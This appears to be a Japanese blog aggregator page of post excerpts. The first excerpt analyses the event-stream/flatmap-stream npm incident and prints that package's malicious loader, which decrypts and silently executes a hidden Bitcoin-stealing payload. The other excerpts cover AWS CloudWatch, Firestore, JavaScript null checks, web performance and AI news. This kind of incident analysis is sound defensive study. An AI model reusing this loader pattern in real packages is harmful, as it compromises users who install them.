投稿

未来のハッカー(自称)がevent-stream騒動の攻撃コードを説明する

未来のハッカー(自称)がevent-stream騒動の攻撃コードを説明する : まずお詫び。タイトルに「未来のハッカー(自称)」と書きましたが、そんなわけないです。全国のハッカーの皆様、本当に申し訳ございませんm(_ _)m 人気のnpmパッケージである「event-stream」が依存している「flatmap-stream」というパッケージにBitcoinを盗むコードが入れられた事件で、具体的に入れられた攻撃コードを解析してみました。 このページの内容が間違っていたら教えていただけると幸いです。 また、この事件に関する概要などは https://qiita.com/mysticatea/items/aac027f9183ea9f0f9b1 に詳しく書いてありました。この事件に関して知らない場合はあらかじめ読んでおくことをおすすめします。 flatmap-streamの index.min.js の攻撃コードの部分(整形済み) index.min.js !function () { try { var r = require; var t = process; function e(r) { return Buffer.from(r, 'hex').toString(); } var n = r(e('2e2f746573742f64617461')); var o = t[e(n[3])][e(n[4])]; if (!o) return; var u = r(e(n[2]))[e(n[6])](e(n[5]), o); var a = u.update(n[0], e(n[8]), e(n[9])); a += u.final(e(n[9])); var f = new module.constructor; f.paths = module.paths; f[e(n[7])](a, ''); f.exports(n[1]); } catch (r) { } }(); このコードの意味を順番に説明します。...

AWS SDK for PHP を利用してCloudWatchのメトリクスとCloudWatchLogsのログを送信する

イメージ
AWS SDK for PHP を利用してCloudWatchのメトリクスとCloudWatchLogsのログを送信する : AWS SDK for PHP を利用して CloudWatchのメトリクスとCloudWatchLogにログを送信した時のメモです。 環境 PHP 5.6 AWS SDK for PHP version 3.77 AIMの権限 Amazon CloudWatch の権限リファレンス を参照して必要な権限を付与します。 今回は強めの権限がついていたので省略したのですが、これらが必要だと思います。 メトリクス cloudwatch:PutMetricData ログ logs:DescribeLogStreams logs:PutLogEvents ログ(必要に応じて) logs:CreateLogGroup logs:CreateLogStream logs:DescribeLogGroups ログは https://docs.aws.amazon.com/ja_jp/AmazonCloudWatch/latest/logs/QuickStartEC2Instance.html#cloudwatchlogs_iam_role_procedure を参考にしてざっくり設定するのが楽チンでした。 実装 メトリクスは CloudWatchClient::PutMetricData(array) で、ログは CloudWatchLogs:: putLogEvents(array) 送信します。 ただ、ぞれぞれに考えなければならないことがあります。 メトリクスのディメンジョン is 何 PutMetricData のParameter Syntax にある  Dimensions が謎パラメータでした。 $result = $client->putMetricData([ 'MetricData' => [ // REQUIRED [ 'Counts' => [<float>, ...], 'Dimensions...

Firebaseのデータベース(Cloud Firestore)をWebからサクッと使ってみる

イメージ
Firebaseのデータベース(Cloud Firestore)をWebからサクッと使ってみる : なにがしたい? Firebaseのデータベースを使ってみる。 Web(フロントエンド)のJavaScriptから操作してみる。 はじめに FirebaseのセッティングとHostingできるところまでは持っていってください。 単なるHostngだけならそんなに苦労しないです。 簡単言うと、Firebaseのサイト(コンソール)から、 新しいプロジェクトの作成 Hostingを使ってみるを選ぶとコマンドが出てくる パソコンのターミナルから firebase login → init → deploy を実行 という感じです。 Basic認証付きという状態で良ければ、手前味噌ながらにこの記事を参考にしてくれてもいいです。 (もっとわかりやすい記事も探せばあると思います) FirebaseでBasic認証をかけてHostingをする(Windows) DBの作成 ここからが本題です。 Firebaseのサイト上のメニューから Database を選択して、「データベースの作成」をクリックします。 とりあえず、 テストモード で開始します。 後で変えられるので大丈夫です 画面が切り替わるので、「+コレクションを追加」します。RDBで言うところのでいわゆるテーブル名です。 適当に「 data 」という雑な名前を付けておきます。 実際は「 users 」とか意味ある名前にするほうが吉です。 次に、フィールドの設定を行います。RDBで言うところのいわゆるカラム名です。 今回はJavaScriptからカラムを追加したいので、もしフィールドが出ていたらマイナスのボタンを押して消して、空の状態にします。 「保存」を押して終了です。 これでサーバ上にDBの準備が出来ました。 Webからアクセスする準備をする Firebaseのサイト上の Project Overview を押して +アプリを追加 をクリック。 メニューが開くのでWebのマーク </> をクリック。 スクリプトのコードが出てくるのでコピーしておきます。 本来これをヘッダに張り付けてHTMLを作りますが、いろいろTipsがあるの...

変数が定義されているか、nullかどうかの判定をする[Javascript]

変数が定義されているか、nullかどうかの判定をする[Javascript] : 変数が定義されているか判定する ある変数が(ここでは hoge という名前とします)定義されていない状態で参照すると、 console.log(hoge) // ReferenceError: hoge is not defined のように、「未定義ですよー」というエラーを発生させてしまいます。 それを回避するためには、 const hoge = 'fuga' if (typeof hoge !== 'undefined') { console.log(hoge) // fuga console.log(typeof hoge) // string console.log(typeof undefinedVarible) // undefined } 上記のように、 typeof演算子 というものを用いて判定します。 未定義のものに対してtypeof演算子を用いると、"undefined"という文字列が返ってくるのでそれで条件分岐ができます。 nullかどうか判定する 次に、ある変数がnullかどうか判定したいとしましょう。 先ほどのを真似して以下のように書くと... const foo = null if(typeof foo === 'null'){ console.log('null') }else{ console.log('not null') } なんとこれ、 else句に飛び込んできます。 こちら に書いてある通り、 typeof null は "object" という文字列を返します。(歴史的な事情があるようです) なのでnullの判定は素直に、 const foo = null if(foo === null){ console.log('null') // こっちが呼ばれる! }else{ console.log('not null') } と書いてあげましょう。 undefinedとnullをいっぺんに判定...

Catchpointを使ったWebページのパフォーマンス計測 - クックパッド開発者ブログ

イメージ
Catchpointを使ったWebページのパフォーマンス計測 - クックパッド開発者ブログ : Catchpointを使ったWebページのパフォーマンス計測 - クックパッド開発者ブログ 技術部開発基盤グループの外村です。最近はクックパッドのレシピサービスのWebフロントエンドの改善に取り組んでいます。その一環でWebサイトのページロードのパフォーマンス計測をおこなっているので、今回はその取り組みについて紹介します。 Webページのパフォーマンスといっても、文脈によってそれが指すものは様々...

AIは口げんかも強かった。ディベート大会で人間がコテンパンにされる | ギズモード・ジャパン

イメージ
AIは口げんかも強かった。ディベート大会で人間がコテンパンにされる | ギズモード・ジャパン : AIは口げんかも強かった。ディベート大会で人間がコテンパンにされる | ギズモード・ジャパン AIは口げんかも強かった。ディベート大会で人間がコテンパンにされる2018.11.29 14:00Mugendai 渡邊徹則 自分だったら泣いちゃいそう…。 チェスや将棋など、次々に人間を超えてきたコンピューターの力。近年では、囲碁の世界チャンピオンを破ったAlphaGoの活躍により、AIの能力の高さが注目の的となりました。 そしてつ...

犯罪を予測するAI、イギリス警察がテスト中。あれ、この設定どっかで見た気が… - ライブドアニュース

イメージ
犯罪を予測するAI、イギリス警察がテスト中。あれ、この設定どっかで見た気が… - ライブドアニュース : 犯罪を予測するAI、イギリス警察がテスト中。あれ、この設定どっかで見た気が… - ライブドアニュース Image: Gettyimages マイノリティ・リポートな世界。 イギリスで、警察が犯罪を未然に防ぐため、あるプロジェクトをテスト中です。どうやって未然に防ぐのかというと…人工知能を使って、大きな事件が起きる前、起きそうだなと予測を立てるのです。加害者だけでなく、被害者になる可能性がある場合(人)も予測します。 ...